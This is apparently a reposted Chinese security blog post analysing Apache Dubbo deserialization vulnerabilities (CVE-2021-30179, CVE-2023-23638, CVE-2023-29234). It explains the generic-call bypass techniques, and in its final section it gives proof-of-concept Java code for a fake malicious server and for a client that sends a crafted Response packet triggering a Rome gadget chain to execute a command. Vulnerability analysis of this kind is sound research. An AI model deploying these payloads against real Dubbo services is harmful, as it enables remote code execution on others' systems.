Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析
本文转自RacerZ 并作补充
写在前面
最近学习并梳理了一下 Apache dubbo 的两个经典由于泛化调用处理存在问题的 CVE 漏洞,并分析了一下最新 CVE-2023-29234 ,总结出了两种利用方式。
CVE-2021-30179
前置:泛化调用
泛化调用(客户端泛化调用)是指在调用方没有服务方提供的 API(SDK)的情况下,对服务方进行调用,并且可以正常拿到调用结果。详细见 https://cn.dubbo.apache.org/zh-cn/overview/tasks/develop/generic/
调试分析
org.apache.dubbo.remoting.transport.DecodeHandler#received
作为客户端 RPC 调用请求信息处理的入口点,调用decode
方法。根据参数类型可知实际会调用到
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode()
其中会先调用CodecSupport.getSerialization
方法,根据 id 选择相应的反序列化策略,默认会走org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize
,最终返回一个Hessian2ObjectInput
实例。接着这一部分会按照顺序依次解析序列化流,获取 dubbo 服务版本、服务类路径、子版本、服务方法名以及参数描述符。之后会根据方法名和参数名在服务端查找是否存在对应的服务方法,如果为 null,则调用
RpcUtils.isGenericCall
判断是否为泛型引用。如果是的话则调用
ReflectUtils.desc2classArray
方法显式加载 desc 当中的类。之后根据类型执行 readObject 反序列化参数值,并设置到RpcInvocation
实例的各个字段当中。这个地方之前也是存在反序列化攻击利用的(感兴趣的师傅可以翻一翻以前的 CVE 分析)。不过根据
https://threedr3am.github.io/2021/06/01/CVE-2021-30179 - Dubbo Pre-auth RCE via Java deserialization in the Generic filter/
提到:“受限于默认hessian或者已配置的序列化类型,具有一定的局限性”。整体梳理一下这部分序列化/反序列化参数顺序:
- string * 5 (dubboVersion / path / version / methodName / desc)
- object * args (参数值实例,具体数量根据方法描述符 desc 决定)
- map (这里面可用于设置 generic key)
之后会去执行org.apache.dubbo.remoting.exchange.support.header.HeaderExchangeHandler#received
,这里关注到message
参数类型当前为 Request 类,因此会走第一个分支(后续会关注到 Response 分支部分)。观察到刚才解析得到的各个参数值位于
message
的mData
字段。第一个分支当中会再次取出
mData
的字段值转化为RpcInvocation
类实例,并调用org.apache.dubbo.remoting.exchange.support.ExchangeHandlerAdapter#received
方法,进一步调用reply
。之后就会触发一系列 Filter 的 invoke 方法,调用栈如下:
关键 filter 函数是
org.apache.dubbo.rpc.filter.GenericFilter#invoke
,再次判断是否为泛型引用之后,会根据inv
中提供的方法名从 dubbo 服务中找到对应方法,并取出参数类型和具体的参数值。中间会从
inv
的attachments
中取出 key 为generic
的值,这个generic
代表不同的反序列化策略,除 raw.return 外还有 nativejava、bean、protobuf-json 等。
raw.return 反序列化方式分析
这里如果值为
raw.return
,则会调用PojoUtils.realize
方法,接着会对每个 args 值调用realize0
方法,如果这个 arg 属于 Map 类型,则取出 class 键值,并使用ClassUtils.forName
方法,其中会对传入的 className 使用应用类加载器进行类加载。之后对于加载的 class 调用
newInstance
进行实例化。这里首先会去调用 class 默认的 public 构造函数,如果无法访问则会去遍历所有的构造器,优先获取参数个数为 0 的构造函数并反射调用。之后便是漏洞的一大利用点,它针对 HashMap 当中剩下的键值,先尝试获取 key 在实例化 class 当中对应 field 的 setter 方法(要求为单参数),如果可以获取到的话。会用和刚才相同的逻辑递归实例化参数值,并反射调用;如果获取不到 setter 方法,则直接反射设置 field 的值。
因此针对
raw.return
反序列化方式的利用是通过 Map 的方式来传入利用 class,可利用 class 的位置有 3 个:
1
2
3 1. public/private 修饰的无参构造函数
2. 参数为 1 的 setter 方法
3. 支持对实例化的 class 任意字段赋值
bean 反序列化方式分析
这里会先遍历判断每个参数值是否为
JavaBeanDescriptor
类型,如果是则调用JavaBeanSerializeUtil.deserialize
方法。后面会调用到
instantiateForDeserialize
实例化方法,其中调用name2Class
方法中的Class.forName
进行类加载,然后instatiate
实例化。之后
deserializeInternal
,与 raw.return 的利用思路类似,如果beanDescriptor
实例的 type 等于TYPE_BEAN
的话则会依次执行指定 key 字段的 setter 方法或者反射为字段赋值。PS:其中 type 可以通过构造
beanDescriptor
实例时设置。
native 反序列化方式
这个利用比较特殊,需要配置中开启
dubbo.security.serialize.generic.native-java-enable
选项才能使用。
这里如果参数值为 byte[] 数组的话,则会传入UnsafeByteArrayInputStream
构造函数当中,后加载并调用NativeJavaObjectInput
的deserialize
方法。该类的 inputStream 字段封装了 ObjectInputStream 输入流,最终反序列化时也会调用的是后者,因此可触发二次反序列化。
CVE-2023-23638 (学习 bypass 思路)
受影响版本:Apache Dubbo 3.0.x <= 3.0.13;3.1.x <= 3.1.5
前版本 diff 分析org.apache.dubbo.rpc.filter.GenericFilter#invoke
方法当中,会对每个 args 值调用realize0
方法,如果这个 arg 属于 Map 类型,则取出 class 键值,调用SerializeClassChecker.getInstance().validateClass
,里面会作黑名单检查。
bypass 思路
native 反序列化方式
这个反序列化方式可以让我们触发一个二次反序列化,从而绕过上述安全检查。但是困难点在于
dubbo.security.serialize.generic.native-java-enable
选项默认未开启,因此利用思路就是寻找如何将它打开。
于是这个org.apache.dubbo.common.utils.ConfigUtils#setProperties
方法就十分有用,利用它可将CommonConstants.ENABLE_NATIVE_JAVA_GENERIC_SERIALIZE
属性设置为 true 即可。当然从 dubbo 的源码中可知System.setProperties
也是可以直接设置 dubbo 服务属性的。
因此绕过部分的 map 就可以写成:
raw.return 反序列化方式
将
SerializeClassChecker
类的CLASS_DESERIALIZE_BLOCKED_SET
置空或者OPEN_CHECK_CLASS
设置为 false,这个类实例的获取方式为单例模式,因此需要控制INSTANCE
字段为上面指定的实例。绕过部分的 map 可以写成:
修复方案
新增
SerializeClassChecker
类检查器,其中指定了dubbo.application.check-serializable
默认为 true。其中的
validateClass
方法会检查指定反序列化类是否可序列化。这个方法会在realize0
中调用。之前需要用来设置属性的利用类
org.apache.dubbo.common.utils.ConfigUtils
以及java.lang.System
均未实现序列化接口,因此不再可利用;同样,org.apache.dubbo.common.utils.SerializeClassChecker
也未实现序列化接口,无法覆盖其相关检查字段。
CVE-2023-29234 (1day)
受影响版本:
git diff: https://github.com/apache/dubbo/commit/9ae97ea053dad758a0346a9acda4fbc8ea01429a
org.apache.dubbo.common.serialize.ObjectInput#readThrowable
方法抛出异常的地方作了修改,而之前版本会直接打印 obj 对象,隐式触发toString
方法,漏洞场景类似 CVE-2021-43297。反向溯源调用位置,位于该函数的 switch-case 语句的 DubboCodec.RESPONSE_WITH_EXCEPTION 分支处调用
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcResult#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
调用链如下:
1
2
3
4
5
6
7 org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcResult#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
--->
handleException()
--->
ObjectInput.readThrowable()
--->
obj.toString()Dubbo 编解码那些事_decodeablerpcresult-CSDN博客 可知
DecodeableRpcResult
这个类是在 dubbo 服务的消费者接收提供者方发来的响应时解码使用。
利用方式一:fake server
测试版本:Apache Dubbo 3.1.10
我们知道 dubbo 支持多种序列化方式,对于 dubbo 协议来说默认为 hessian2,其他如下所示(hessian2 对应 id 为 2,也可以通过Serialization.getContentTypeId()
获得)由官方文档可知,这个协议如何配置完全由服务方定的,因此完全可以做一个 fake server 来诱导客户端主动连接。
因此我们可以重写服务端编码响应信息函数的部分逻辑,主动构造一个用于上面提到的 toString 调用链对象来替代 Throwable 实例 th。
具体重写位置在org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#encodeResponseData(org.apache.dubbo.remoting.Channel, org.apache.dubbo.common.serialize.ObjectOutput, java.lang.Object, java.lang.String)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
protected void encodeResponseData(Channel channel, ObjectOutput out, Object data, String version) throws IOException {
Result result = (Result) data;
// currently, the version value in Response records the version of Request
boolean attach = Version.isSupportResponseAttachment(version);
// Throwable th = result.getException();
Object th = null; // 利用点: 用于 toString 的 gadget chain
try {
th = getThrowablePayload("open -a calculator");
} catch (Exception e) {
}
if (th == null) {
Object ret = result.getValue();
if (ret == null) {
out.writeByte(attach ? RESPONSE_NULL_VALUE_WITH_ATTACHMENTS : RESPONSE_NULL_VALUE);
} else {
out.writeByte(attach ? RESPONSE_VALUE_WITH_ATTACHMENTS : RESPONSE_VALUE);
out.writeObject(ret);
}
} else {
out.writeByte(attach ? RESPONSE_WITH_EXCEPTION_WITH_ATTACHMENTS : RESPONSE_WITH_EXCEPTION);
// out.writeThrowable(th);
out.writeObject(th); // 直接序列化对象即可
}
if (attach) {
// returns current version of Response to consumer side.
result.getObjectAttachments().put(DUBBO_VERSION_KEY, Version.getProtocolVersion());
out.writeAttachments(result.getObjectAttachments());
}
}这里的 toString 调用链以 Rome toString 的利用部分为例,师傅们也可以选择/挖掘其他可利用的 gadget;同时,为了方便这里直接指定服务端的协议配置中的序列化方式为 nativejava,它反序列化时直接会使用
ObjectInputStream#readObject
。大家也可以探索一下其他序列化方式当中的黑名单绕过情况。
1 <dubbo:protocol name="dubbo" port="20880" serialization="nativejava"/>客户端发起正常服务请求后,解码响应信息时顺利触发至
org.apache.dubbo.common.serialize.ObjectInput#readThrowable
位置,状态如下:
利用方式二:客户端打服务端
测试版本:3.1.5
由于 dubbo 并没有限制客户端不能发送 Response 数据,因此客户端同样可以构造一个 Response 信息发给服务端。
但是在服务端解码响应信息时,即函数调用位置为org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody
,不同版本之间存在差异性,这里测试了一下 3.1.10 以及 3.1.5 之间的区别。
首先是 3.1.5 版本,注意到在创建DecodeableRpcResult
实例时,其中一个构造参数invocation
来自于getRequestData(id)
跟入可知这个
invocation
来自于 dubbo 服务当中还没处理完毕的请求,会根据 id 值来获取,而由于我们这里只发送了一个 Response 信息,DefaultFuture
当中的FUTURES
map 为空,这里也就会返回 null。但是依然可以将
DecodeableRpcResult
实例构造出来,并设置到res
变量的mResult
字段当中。后续在触发到 toString 入口的过程中,不会因为
mResult
字段为 null 或者非Decodeable
类而中断(DecodeableRpcResult
是Decodeable
的实现)。而对于 3.1.10 版本,
getRequestData
方法如果获取不到future
会直接抛出异常,进而无法创建出有效的DecodeableRpcResult
实例。进而,后续
message
参数会由于是 null 而直接返回。这里给出 3.1.5 版本下的测试 POC 核心部分:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43 public static void main(String[] args) throws Exception {
ByteArrayOutputStream boos = new ByteArrayOutputStream();
ByteArrayOutputStream nativeJavaBoos = new ByteArrayOutputStream();
Serialization serialization = new NativeJavaSerialization();
NativeJavaObjectOutput out = new NativeJavaObjectOutput(nativeJavaBoos);
// header.
byte[] header = new byte[HEADER_LENGTH];
// set magic number.
Bytes.short2bytes(MAGIC, header);
// set request and serialization flag.
header[2] = serialization.getContentTypeId();
header[3] = Response.OK;
Bytes.long2bytes(1, header, 4);
// result
Object exp = getThrowablePayload("open -a calculator"); // Rome toString 利用链
out.writeByte(RESPONSE_WITH_EXCEPTION);
out.writeObject(exp);
out.flushBuffer();
Bytes.int2bytes(nativeJavaBoos.size(), header, 12);
boos.write(header);
boos.write(nativeJavaBoos.toByteArray());
byte[] responseData = boos.toByteArray();
Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(responseData);
outputStream.flush();
outputStream.close();
}
protected static Object getThrowablePayload(String command) throws Exception {
Object o = Gadgets.createTemplatesImpl(command);
ObjectBean delegate = new ObjectBean(Templates.class, o);
return delegate;
}完整 POC 项目基于 DubboPOC 作的修改和添加,可见 CVE-2023-29234
PS:git diff 当中还存在其他位置的 patch,值得进一步探索其他的利用方式(篇幅有限)。
引用
[1] Apache dubbo 反序列化漏洞(CVE-2023-23638)分析及利用探索 - 先知社区 (aliyun.com)
[2] CVE-2023-29234: Bypass serialize checks in Apache Dubbo-Apache Mail Archives
[3] 开发服务 | Apache Dubbo
[4] Apache Dubbo CVE-2023-23638 JavaNative 反序列化漏洞分析 - 先知社区 (aliyun.com)
[5] 【漏洞分析】Dubbo Pre-auth RCE(CVE-2021-30179) (qq.com)
[6] RPC 通信协议 | Apache Dubbo
[7] DubboPOC/src/main/java/top/lz2y/vul/CVE202323638.java at main · lz2y/DubboPOC (github.com)
[8] Apache Dubbo 反序列化漏洞(CVE-2023-29234) · Issue #334 · y1ong/blog-timeline (github.com)